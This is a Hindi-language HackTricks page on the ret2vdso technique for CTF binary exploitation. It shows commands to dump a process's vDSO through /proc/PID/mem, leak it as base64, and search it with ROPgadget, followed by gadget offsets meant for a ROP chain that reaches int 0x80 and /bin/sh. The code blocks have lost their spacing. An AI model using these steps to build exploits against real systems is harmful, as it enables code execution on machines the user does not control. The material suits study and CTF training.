अपने हैकिंग ट्रिक्स साझा करें, HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके।
मौलिक जानकारी
वीडीएसओ क्षेत्र में गैजेट्स हो सकते हैं, जो उपयोगकर्ता मोड से कर्णेल मोड में बदलने के लिए उपयोग किए जाते हैं। इस प्रकार के चुनौतियों में, आम तौर पर एक कर्णेल छवि प्रदान की जाती है ताकि वीडीएसओ क्षेत्र को डंप किया जा सके।
# Find addressescat/proc/76/maps08048000-08049000r--p0000000000:02317/target08049000-0804a000r-xp0000100000:02317/target0804a000-0804b000rw-p0000200000:02317/targetf7ff8000-f7ffc000r--p0000000000:000 [vvar]f7ffc000-f7ffe000r-xp0000000000:000 [vdso]fffdd000-ffffe000rw-p0000000000:000 [stack]# Dump itddif=/proc/76/memof=vdsobs=1skip=$((0xf7ffc000))count=$((0x2000))8192+0recordsin8192+0recordsout8192bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s# Compress and leak itgzipvdsobase64vdso.gz# Decompress and check of gadgetsecho'<base64-payload>'|base64-d|gzip-d->vdsofilevdsoROPgadget--binaryvdso|grep'int 0x80'
ROP गैजेट्स मिले:
vdso_addr =0xf7ffc000int_0x80_xor_eax_eax_ret_addr =0x8049010bin_sh_addr =0x804a800# 0x0000057a : pop edx ; pop ecx ; retpop_edx_pop_ecx_ret_addr = vdso_addr +0x57a# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; retmov_dword_ptr_edx_ecx_ret_addr = vdso_addr +0xcca# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; retor_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr +0xccb# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; retpop_ebx_pop_esi_pop_ebp_ret = vdso_addr +0x15cd
काली 2023.2 arm64 में एक बाइनरी के vdso सेक्शन को डंप करने और जांचने के बाद, मुझे वहां कोई भी दिलचस्प गैजेट नहीं मिला (स्टैक में मौजूद मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं था या x30 को नियंत्रित करने के लिए एक ret) केवल SROP को कॉल करने का एक तरीका है। पेज से अधिक जानकारी के लिए उदाहरण देखें: